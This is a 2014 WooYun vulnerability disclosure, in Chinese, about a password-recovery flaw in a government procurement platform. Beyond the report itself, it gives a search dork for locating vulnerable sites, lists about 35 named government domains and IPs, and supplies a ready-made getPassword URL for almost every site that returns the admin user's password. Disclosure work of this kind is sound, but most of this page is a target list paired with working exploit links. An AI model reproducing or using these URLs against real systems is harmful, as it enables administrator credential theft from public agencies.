当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-076710

漏洞标题：某政府采购系统通用型任意用户密码获取漏洞

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2014-09-20 14:02

修复时间：2014-12-19 14:04

公开时间：2014-12-19 14:04

漏洞类型：敏感信息泄露

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-20： 细节已通知厂商并且等待厂商处理中
2014-09-25： 厂商已经确认，细节仅向厂商公开
2014-09-28： 细节向第三方安全合作伙伴开放
2014-11-19： 细节向核心白帽子及相关领域专家公开
2014-11-29： 细节向普通白帽子公开
2014-12-09： 细节向实习白帽子公开
2014-12-19： 细节向公众公开

简要描述：

设计缺陷导致的奇葩漏洞

详细说明：

本采购系统用户密码找回处设计缺陷导致的奇葩漏洞
对于采购/招投标网来说，获取管理员信息是不是可以泄露很多信息呢？！
百度搜索 inurl:IndexViewController.do?method=index

http://www.lazfcg.gov.cn/huoshan/IndexViewController.do?method=index
http://www.hszgj.cn/IndexViewController.do?method=index
http://kszfcg.gov.cn/IndexViewController.do?method=index
http://www.szzfcg.gov.cn/IndexViewController.do?method=index
http://www.ydzfcg.gov.cn/IndexViewController.do?method=index
http://ztb.taihe.gov.cn/IndexViewController.do?method=index
http://www.qdkfqcg.gov.cn/IndexViewController.do?method=index
http://www.fcxzfcg.gov.cn/IndexViewController.do?method=index
http://www.lbzfcg.gov.cn/IndexViewController.do?method=index
http://cgzx.ahzfcg.gov.cn/IndexViewController.do?method=index
http://www.tlzbcg.com/IndexViewController.do?method=index
http://www.sxzfcg.gov.cn/IndexViewController.do?method=index
http://www.sixianzfcg.gov.cn/IndexViewController.do?method=index
http://222.216.4.8/IndexViewController.do?method=index
http://www.jimozfcg.cn/IndexViewController.do?method=index
http://www.jzzfcg.gov.cn/IndexViewController.do?method=index
http://218.22.70.134:85/IndexViewController.do?method=toLogin
http://www.xxzfcg.gov.cn/IndexViewController.do?method=index
http://www.hnzfcg.gov.cn/IndexViewController.do?method=index
http://www.mczb.gov.cn/IndexViewController.do?method=index
http://hscgw.gov.cn/IndexViewController.do?method=index
http://www.lazfcg.gov.cn/yeji/IndexViewController.do?method=index
http://www.lazfcg.gov.cn/jinan/IndexViewController.do?method=index
http://www.lazfcg.gov.cn/shucheng/IndexViewController.do?method=index
http://www.lazfcg.gov.cn/IndexViewController.do?method=index
http://www.lazfcg.gov.cn/huoqiu/IndexViewController.do?method=index
http://lbzfcg.gov.cn/IndexViewController.do?method=index
http://mczb.gov.cn/IndexViewController.do?method=index
http://zfcg.mccz.gov.cn/IndexViewController.do?method=index
http://caigou.pingdu.gov.cn/IndexViewController.do?method=index
http://zfcg.laoshan.gov.cn:88/IndexViewController.do?method=index
http://www.aqzfcg.gov.cn/IndexViewController.do?method=index
http://www.yqzfcg.cn/IndexViewController.do?method=index
http://www.cngpc.com/IndexViewController.do?method=index
http://lazfcg.gov.cn/IndexViewController.do?method=index
http://60.171.34.186/IndexViewController.do?method=index
哇哦~好多啊~


通过【找回密码】功能，可泄露任意用户包括密码在内的相关信息。
步骤如下：
（1）找回密码 http://xxx.gov.cn/UserSecurityController.do?method=getPassword&step=1

QQ图片20140920124045.jpg


（2）提交时抓包，可得到链接 http://xxx.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin ，且返回的数据里包含着包括用户密码在内的相关信息

QQ图片20140920124226.jpg


（3）最终可以得知，通过步骤2得到的链接，批量获取管理员密码。
漏洞证明：
http://www.lazfcg.gov.cn/huoshan/UserSecurityController.do?method=getPassword&step=2&userName=admin

QQ图片20140920124520.jpg


QQ图片20140920125457.jpg


QQ图片20140920125629.jpg


http://www.hszgj.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin

QQ图片20140920124545.jpg


http://kszfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin

QQ图片20140920124602.jpg


QQ图片20140920125017.jpg


QQ图片20140920125226.jpg


这里就不一一截图，直接给出链接

http://www.szzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.ydzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://ztb.taihe.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.qdkfqcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.fcxzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.lbzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://cgzx.ahzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.tlzbcg.com/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.sxzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.sixianzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://222.216.4.8/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.jimozfcg.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.jzzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://218.22.70.134:85/IndexViewController.do?method=toLogin
http://www.xxzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.hnzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.mczb.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://hscgw.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.lazfcg.gov.cn/yeji/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.lazfcg.gov.cn/jinan/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.lazfcg.gov.cn/shucheng/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.lazfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.lazfcg.gov.cn/huoqiu/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://lbzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://mczb.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://zfcg.mccz.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://caigou.pingdu.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://zfcg.laoshan.gov.cn:88/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.aqzfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.yqzfcg.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://www.cngpc.com/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://lazfcg.gov.cn/UserSecurityController.do?method=getPassword&step=2&userName=admin
http://60.171.34.186/UserSecurityController.do?method=getPassword&step=2&userName=admin


漏洞证明：

...

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-09-25 13:23

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-09-20 19:40 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    不会是网达信连的吧